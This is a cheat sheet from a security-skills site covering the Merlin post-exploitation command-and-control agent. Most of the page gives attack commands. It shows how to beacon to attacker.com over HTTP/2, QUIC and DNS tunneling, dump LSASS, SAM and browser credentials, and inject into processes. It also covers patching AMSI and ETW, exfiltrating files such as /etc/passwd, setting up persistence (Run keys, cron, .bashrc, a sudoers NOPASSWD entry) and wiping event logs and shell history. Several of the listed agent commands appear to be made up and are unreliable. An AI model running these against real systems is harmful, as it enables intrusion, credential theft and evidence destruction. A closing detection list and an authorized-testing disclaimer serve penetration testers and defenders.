コンテンツにスキップ
1337skills 1337skills - チートシート

Merlin Agent

Overview

Merlin Agent is a cross-platform post-exploitation command and control (C2) agent written in Go. It provides flexible communication protocols (HTTP/2, QUIC, DNS) with encrypted channels, making it suitable for authorized penetration testing engagements. The agent supports dynamic task execution, file operations, and process management across Windows, Linux, and macOS systems.

Installation

Prerequisites

  • Go 1.16+ (for compilation)
  • Merlin Server infrastructure
  • Network access to C2 server

Building Merlin Agent

# Clone Merlin repository
git clone https://github.com/Ne0nd0g/merlin.git
cd merlin/cmd/agent

# Build for Linux
GOOS=linux GOARCH=amd64 go build -o merlin-agent

# Build for Windows
GOOS=windows GOARCH=amd64 go build -o merlin-agent.exe

# Build for macOS
GOOS=darwin GOARCH=amd64 go build -o merlin-agent

# Build with obfuscation
go build -ldflags="-s -w" -o merlin-agent

Pre-compiled Binaries

# Download pre-compiled agent from Merlin releases
wget https://github.com/Ne0nd0g/merlin/releases/download/v2.x/merlin-agent-linux-x64

# Make executable
chmod +x merlin-agent-linux-x64

Configuration

Command Line Flags

FlagValueDescription
-urlhttps://c2server.comC2 server URL
-protoh2, quic, dnsCommunication protocol
-sleep5s, 30sAgent sleep interval
-jitter0.5Jitter percentage (0-1)
-maxretry10Max connection retries
-verboseflagEnable verbose logging
-stdoutflagPrint output to stdout
-keybase64stringEncryption key

HTTP/2 Agent Execution

# Basic HTTP/2 C2 connection
./merlin-agent -url https://192.168.1.100:443 -proto h2 -sleep 5s

# With jitter and retries
./merlin-agent -url https://attacker.com:443 \
  -proto h2 \
  -sleep 10s \
  -jitter 0.3 \
  -maxretry 15

# Verbose output for debugging
./merlin-agent -url https://c2.internal -proto h2 -verbose

QUIC Protocol Agent

# QUIC (HTTP/3) protocol for faster, connection-less comms
./merlin-agent -url https://192.168.1.100:443 -proto quic -sleep 3s

# QUIC with custom jitter
./merlin-agent -url quic://attacker.com:4443 \
  -proto quic \
  -sleep 8s \
  -jitter 0.5

DNS Tunneling Agent

# DNS-based exfiltration (stealthy, often unblocked)
./merlin-agent -url dns://attacker.com \
  -proto dns \
  -sleep 30s \
  -jitter 0.2

# Specify nameserver
./merlin-agent -dns 8.8.8.8 \
  -url dns://attacker.com \
  -proto dns

Core Capabilities

Command Execution

CommandDescription
shell <command>Execute shell command and return output
powershell <command>Execute PowerShell command (Windows)
bash <command>Execute bash command (Linux/macOS)
cmd <command>Execute cmd.exe command (Windows)
whoamiDisplay current user
hostnameDisplay system hostname
getuidGet current process UID
psList running processes
envDisplay environment variables

File Operations

# Upload file to target
upload /path/to/local/file /path/to/remote/location

# Download file from target
download /path/to/remote/file /path/to/local/destination

# List directory contents
ls /path/to/directory

# Change directory
cd /path/to/directory

# Create directory
mkdir /new/directory/path

# Remove file
rm /path/to/file

# Remove directory
rmdir /path/to/directory

Process Management

# List all processes with details
ps -la

# Kill process by PID
kill 1234

# Create new process
proc_create notepad.exe

# Get process details
proc_info 1234

# Change process priority
proc_priority 1234 high

Network Operations

# Display network connections
netstat -an

# Perform network scan
netscan 192.168.1.0/24

# DNS query
dns query example.com A

# Port scan from agent
portscan 192.168.1.100 1-1000

# Ping host
ping 192.168.1.1

Credential Harvesting

# Dump LSASS process (Windows)
mimikatz lsass

# Dump SAM database
reg query HKLM\SAM

# Extract browser credentials
browser_creds chrome

# Dump Firefox credentials
browser_creds firefox

# Get credential manager entries
credman list

Agent Evasion Techniques

Process Injection

# Inject agent into running process
inject <pid> /path/to/payload

# Inject and execute shellcode
shellcode_inject <pid> <base64_shellcode>

# Hollow out process and inject
hollow parent_pid payload.exe

Memory Obfuscation

# Store strings in memory obfuscated
string_obfuscate enabled

# Encrypt payloads in memory
encrypt_memory true

# Disable event logging
disable_etw

# Patch Antimalware Scan Interface (AMSI)
patch_amsi

Sleep Obfuscation

# Sleep with fake workload
sleep_obfuscate true

# Sleep with process memory cleanup
sleep_clean_memory true

# Variable sleep intervals
sleep_jitter 0.4

Data Exfiltration

File Exfiltration

# Stage file for exfil
stage /etc/passwd

# Exfil staged files
exfil

# Stream file directly
stream /var/log/auth.log

# Compress before exfil
compress /sensitive/data
zip -r /sensitive/data /tmp/data.zip

Metadata Gathering

# System information
sysinfo

# Network configuration
ipconfig

# Running services
services

# Installed applications
apps

# Network shares
shares

# User accounts
users

# Group memberships
groups

Persistence Mechanisms

Windows Persistence

# Create scheduled task
schtask create "SystemUpdate" "C:\Windows\System32\merlin.exe"

# Registry Run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" \
  /v "Merlin" /d "C:\Users\User\AppData\Local\Temp\merlin.exe"

# Windows service installation
service_install "MerlinService" "C:\Path\merlin.exe"

# Create WMI event subscription
wmi_event create payload.exe

Linux Persistence

# Add to crontab
crontab -e
# */5 * * * * /tmp/merlin-agent

# Create systemd service
systemctl enable /etc/systemd/system/merlin.service

# Modify .bashrc for persistence
echo "/tmp/merlin-agent &" >> ~/.bashrc

# Add to sudoers
echo "$USER ALL=(ALL) NOPASSWD: /tmp/merlin-agent" >> /etc/sudoers

macOS Persistence

# LaunchAgent plist
~/.config/launchagents/com.apple.merlin.plist

# Create LaunchDaemon
/Library/LaunchDaemons/com.system.merlin.plist

# Modify login hooks
defaults write /Library/Preferences/loginwindow LoginHook \
  /path/to/merlin-agent

Protocol Details

HTTP/2 Communication

Client initiates TLS connection to C2 server
|
v
HTTP/2 POST request with encrypted task payload
Content-Type: application/octet-stream
Authorization: Bearer <token>

Merlin server responds with encrypted command
|
v
Agent decrypts and executes command
|
v
Agent encodes output and sends POST response

QUIC Features

  • Multiplexed streams (faster than HTTP/2)
  • 0-RTT connection establishment
  • Connection migration (IP changes)
  • Reduced latency on high-loss networks
  • Built-in encryption (TLS 1.3)

DNS Tunneling

Agent crafts DNS query: <data>.attacker.com
|
v
Recursive resolver forwards to attacker nameserver
|
v
Attacker extracts data from subdomain
|
v
Attacker responds with data in TXT/CNAME record
|
v
Agent parses DNS response and executes

Detection Evasion

HTTPS/TLS Evasion

# Use self-signed certificates
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365

# Use valid certificate from compromised domain
# Configure Merlin to use domain-fronting

# Certificate pinning bypass
disable_cert_validation

Network Evasion

# Increase sleep interval to reduce traffic
./merlin-agent -sleep 60s -jitter 0.5

# Use DNS over HTTPS
./merlin-agent -proto dns -dns-over-https true

# Scatter traffic across multiple C2 servers
failover_servers 192.168.1.100,192.168.1.101,192.168.1.102

Log Deletion

# Clear Windows Event Logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# Clear Linux auth logs
cat /dev/null > /var/log/auth.log
cat /dev/null > /var/log/syslog

# Clear bash history
history -c
cat /dev/null > ~/.bash_history

Troubleshooting

Agent Not Connecting

# Check C2 server is running
netstat -tuln | grep 443

# Verify firewall rules
iptables -L -n | grep 443

# Enable verbose logging
./merlin-agent -verbose -stdout

# Check DNS resolution
nslookup c2server.com

High CPU Usage

# Increase sleep interval
-sleep 30s

# Reduce jitter
-jitter 0.1

# Disable unnecessary modules
disable_module persistence

Connection Timeouts

# Increase timeout threshold
-timeout 30s

# Increase max retries
-maxretry 20

# Use different protocol
-proto quic  # often faster than HTTP/2

Operational Security (OPSEC)

Pre-Engagement Checklist

  • Verify rules of engagement document authorization
  • Confirm scope and IP ranges with client
  • Document all C2 servers and infrastructure
  • Establish communication channels with client
  • Set up logging for audit trail
  • Backup C2 logs before engagement
  • Test egress filtering before deployment
  • Verify encryption keys are secure

Post-Engagement

# Clean C2 logs
rm -rf /path/to/merlin/logs/*

# Revoke certificates
openssl ca -revoke cert.pem

# Remove malicious tasks
schtask delete /tn "SystemUpdate" /f

# Restore original files
git restore src/

Detection Indicators

Monitor for:

  • Unusual QUIC/HTTP/2 connections
  • Outbound DNS queries to suspicious domains
  • Process injection and code caves
  • Scheduled tasks with suspicious names
  • Registry modifications to Run keys
  • Parent-child process relationships (explorer.exe → merlin-agent)
  • High jitter patterns in beacon traffic

References

Merlin Agent is designed for authorized security testing only. Unauthorized access to computer systems is illegal. Always obtain written permission before conducting penetration tests.